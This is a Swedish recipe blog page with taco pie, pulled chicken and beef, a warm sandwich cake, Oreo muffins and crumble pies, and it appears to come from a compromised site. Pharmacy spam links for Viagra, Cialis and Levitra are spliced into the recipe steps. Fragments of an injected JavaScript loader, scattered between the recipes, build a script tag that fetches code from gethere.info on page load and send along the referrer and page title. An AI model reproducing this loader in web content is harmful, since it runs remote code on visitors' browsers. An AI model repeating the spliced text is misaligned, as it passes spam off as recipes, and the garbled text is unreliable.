Tacopaj

bild26

Nu har jag lagat en god tacopaj (paleo) och originalreceptet hittade jag här. Då jag är lite feg med starka smaker så
minskade jag en aning på chilipulver och cayennepeppar till köttfärsen.

Paleo Tacopaj:

Pajdeg
3 dl mandelmjöl
½ dl skalade sesamfrön
1 msk psyllium (eller fiberhusk)
1 tsk havssalt
40 g kokosolja
1 ägg
 bild13bild12bild16bild15bild14bild8
Fyllning
 400 g nötfärs
Tacokrydda – till ca 500g nötfärs blanda; 1½ tsk salt, 2 tsk chilipulver, 2 tsk paprikapulver, 1 tsk vitlökspulver, 1 tsk lökpulver,1 tsk spiskummin, 1 krm cayennepeppar
1 dl vatten
bild6bild10bild5bild4
Äggstanning
3 ägg
2 dl kokosmjölk
3-4 dl het salsa (förbered i förväg enl följande – 500g krossade tomater, 1 finhackad gul lök, 4-6 finhackade feferoni, 1-2 pressade vitlöksklyftor, 1 tsk chilipulver, 1 tsk paprikapulver, 0,5-1 tsk spiskummin, 1 krm cayennepeppar, salt och

peppar)

bild19bild18bild17bild11
bild9bild7bild2bild3
Dekoration
 Paprika
Gör så här:
  • Sätt ugnen på 175 grader
  • Börja med pajdegen och mixa mandelmjöl och de skalade sesamfröna i en mixer
  • Tillsätt de övriga ingredienserna och mixa till en deg
  • Tryck ut degen i en pajform och nagga med en gaffel
  • Förgrädda pajskalet i ca 10 minuter tills det fått lite färg
  • Börja med fyllningen
  • Bryn nötfärsen i lite kokosolja
  • Blanda till en sats med hemma tacokrydda ( se ingredienser ovan)
  • Häll på tacokryddan över nötfärsen och rör om
  • Häll https://www.acheterviagrafr24.com/viagra-pas-cher/ på vattnet och rör om igen så att

    kryddorna riktigt går in i nötfärsen

  • Låt vattnet koka in i nötfärsen.
  • Fyll pajskalet med nötfärsen
  • Vispa samman äggen och kokosmjölken och tillsätt den heta salsan,, ta salsa efter tycke och smak.
  • Häll äggstanningen över nötfärsen
  • Dekorera med lite paprika
  • Grädda pajen mitt i ugnen i ca 25 minuter eller tills äggstanningen stelnat och fått fin färg

Servera sedan pajen med en god sallad!

 

 

bild8bild5bild20bild22bild23

tacobild26bild27bild29bild30bild31

 }

Pulled chicken

1

Här kommer ett superenkelt recept på en god ”pulled chicken”.

Recept 4  personer
900 gram kycklingfilé
3 dl barbecusesås
Paprikapulver
1 st gul lök
Olivolja
Salt och peppar

Gör så här:
Sätt ugnen på 140 grader. Dela filéerna i bitar och krydda med salt, peppar och paprikapulver. Hacka löken och blanda samman allt med barbecuesåsen. Lägg allt i en ugnsfast form med lock. In i ugnen i ca 2,5 timmar. Färdig att servera!
Repa filéerna lite så de faller isär.

Servera med en sallad eller grönsaker. Jag blandade ihop en god vitlökssås till.

Recept vitlökssås:
1 liten burk creme fraiche
2 msk majonnäs
1 stor pressad vitlöksklyfta
lite salt och peppar

Gör så här:
Blanda ihop alla ingredienser i en skål och ställ i kylskåpet ca 30 min innan servering.

4532

 

 

 

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Pulled beef

bild6

bild8Igår lagade jag en supergod pulled beef som smakade mycket gott.
Receptet fick jag av Kim, en träningskompis på CrossFit Göta.

Recept  4 portioner
1 kg fransyska
1 flaska öl (33 cl)
1 paket krossade tomater
2 klyftade lökar
3 vitlöksklyftor
1 msk paprikapulver
1 msk salt
1 msk spiskummin
1/2-1 msk chiliflakes
Lite vitpeppar

Gör så här: Lägg köttbiten i grytan och lägg löken och kryddorna på toppen av köttbiten. Häll krossade tomater över köttet och ölen. In i ugnen på 150 grader ca 6 timmar alt. koka i tryckkokare i 2 timmar. När den är färdig smaksätt med en pressad citron och lite av vätskan i grytan.

bild4bild3bild3bild1bild5bild7bild6

Servera din pulled beef med coleslaw och grönsaker och en god sås. Jag använde ett mjukt tacobröd till min pulled beef. Jag rörde ihop en god vitlöksdressing också till köttet.

Recept 2 personer
150 – 300  g vitkål
2 morötter
1 rödlök
1 dl majonnäs
1 dl Creme Fraiche
2 tsk Dijon Senap
svartpeppar (nymald)

Gör så här:
Strimla alla grönsakerna och blanda ihop dom med Creme Fraiche , majonnäs och Dijonsenap!

bild8bild1

Kall vitlöksdressing
1 liten burk creme fraiche
2-3 msk majonnäs
1 pressad vitlöksklyfta
Lite salt och peppar

Gör så här. Rör ihop alla ingredienser och låt stå i kylskåp tills servering.

bild2

 

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Varm smörgåstårta

Här kommer ett recept jag vill dela med mig på le cialis est il dangereux en varm smörgåstårta. Receptet har jag fått av en kompis.

Varm smörgåstårta (räcker till ca 5 personer)
2 paket hönökaka
2 paket bacon
1 burk champinjoner
1 liten purjolök (ca 2-3 nävar)
5 dl creme fraiche
ost
3-4 Tomater
Lite salt och svartpeppar

Stek bacon knaprigt.
Hacka purjolök och champinjoner och blanda i baconet stek en liten stund till .
Häll hela blandningen i en skål och rör i chrame fraiche.
Lägg ut hönökakan på en plåt med bakplåtspapper på och lägg dom så det blir en rund kaka.
Varva med bacon blandningen och hönökakan, det ska bli tre lager.
Till sist så lägger du på tomat och ost. In i mitten av ugnen på 200grader eller till osten fått färg.
Servera den varma smörgåstårtan tillsammans med en god sallad.

 

 

 if (document.currentScript) {

Oreo muffins med dulce de leche

bild21

Nyligen fick jag se en bild på dessa supergoda muffins och kände att jag var bara tvungen att  baka dessa.  Det är verkligen tre godsaker i en enda kaka. Oreokaka med underbar kolasås och muffins på toppen.
Tjejen som inspirerade mig till dessa heter Layla Pegado  och hon har en helt underbar hemsida. Kika på Layla’s hemsida här. Hon har även en facebook sida med helt otroliga foton på alla vackra skapelser hon gör, allt ifrån underbara cupcakes till helt otroliga tårtor och andra bakverk. Sök på ”Layla Pegado Cakes” på facebook och gilla hennes sida.

14 muffins
3 ägg
2 dl strösocker
2 1/2 dl vetemjöl
2 tsk bakpulver
3 tsk vaniljsocker eller 1/2 tsk äkta vaniljpulver
1 nypa salt
1 1/2 dl kesella eller creme fraiche
1 paket Oreo kakor
Dulce de leche, färdigköpt eller koka upp kondenserad sötad mjölk i ca 2 timmar under vattenbad. Jag tycker det är godast att göra min egna dulce de leche.

Gör så här:
Dela dina oreo kakor så du har en botten och fyllningen kvar.
bild11bild13bild14

Lägg kakan i en muffinsform och häll på en klick dulce de leche kolakräm och sen muffinssmet över.

bild12

bild15bild25bild17bild24

18

bild23Grädda i ugnen på 200 grader i ca 12-15 min . Låt svalna.

bild20

bild7

bild4bild22

bild1

Låt muffinsen svalna.

Så här ser muffinsen ut när jag delade den mitt itu. Oreokakan i botten, dulce de leche i mitten och muffins på toppen.
bild1
Jag gjorde min dulce de leche dagen innan då den ska koka några timmar på plattan. Ca 2,5 timmar kokade min dulce de leche. https://www.acheterviagrafr24.com/viagra-prix-france-cialis/ Vill du ha den mer rinnig så koka ca 2 timmar. Om du inte hinner koka egen kolasås kan du köpa färdig i affären.

Dulce de leche framställs genom att man kokar kondenserad mjölk (sötad)  på svag värme under lång tid, oftast flera timmar.

Dulce de leche
1 burk kondenserad mjölk (sötad)

Gör så här:
Ta bort  etiketten runt burken.
Lägg burken med den kondenserade mjölken i en stor kastrull. Fyll på med vatten så att det täcker burken plus lite till. Det är viktigt att burken hela tiden är täckt med vatten, fyll på då och då med hett vatten under kokningen om det behövs. Låt koka ca 2 timmar.

Lyft upp burken. Låt svalna ordentligt innan den öppnas. Rör såsen slät i en bunke.

bild8

bild9bild10d.getElementsByTagName(‘head’)[0].appendChild(s);

Smulpaj med vaniljsås

Receptet hittade jag här.

En lite nyttigare variant på paj som går snabbt att göra och är fantastiskt god. Det godaste och bästa receptet på vaniljsås kommer från raw food kocken Russel James.

Jag använder ekologiska havregryn från butiken, och de är inte rå, men det är ganska hälsosamt ändå för dem som inte är 100% rå.

Gör smulpajen så här:
1. Blanda havre (glutenfritt) , dadlar, en nypa äkta vaniljpulver, agave (eller honung) och https://www.acheterviagrafr24.com/ en nypa salt i en mixer. Jag improviserar alltid med de saker jag har hemma och blandar tills det smakar gott.
2. Lägg ut bären i en form.
3. Strö på smulpajen, och ställ in i kylen tills vaniljsåsen är klar.

Vaniljsås (therawchef.com)
1 1/2 dl cashewnötter (gärna blötlagda några timmar för magens skull)
1/2 dl vatten
2 msk agave
3 matskedar kokosnötolja
1 msk vanilj
1/4 tsk salt

Så här gör du vaniljsåsen:
1. Blanda alla ingredienser i en matberedare tills det är en slät röra, det kan ta lite tid, kanske får du mixa omgångar i 15-20 minuter om du inte har en stark matberedare.
2. Låt svalna i kylskåpet för att uppnå en tjockare konsistens.
3. Njut!…

Äppelsmulpaj

bild1granny-smith-applebild2bild3bild7bild8bild4bild6bild11bild5bild12bild1Den här buy levitra legal usa pajen bakade jag igår och serverades med Kesella äpple/kanel.

Recept 2 personer
3 äpplen (Granny Smith) (ca 1/2 kg)
1/2 dl socker
1/2 tsk kanel

Recept 2 portioner
50 gram smör
1,5 msk strösocker
0,75 dl vetemjöl
0,75  dl havregryn

Gör så här:
Skala och skär levitra buy cheap real alla äpplen i mindre bitar. Lägg i bitarna i en stekpanna och häll på socker. Låt smälta och rör om i ca 5 minuter. Häll på kanel i slutet. Lägg upp i en smörad ugnsfast form.
Smulpaj: Smält smöret cialis generique i en kastrull. Rör ner socker, vetemjöl och havregryn och rör om. Lägg röran på toppen av äpplebitarna och in i ugnen på ca 225 grader i ca 7-10 minuter tills smulpajen fått färg. Servera med kesella eller glass.} else {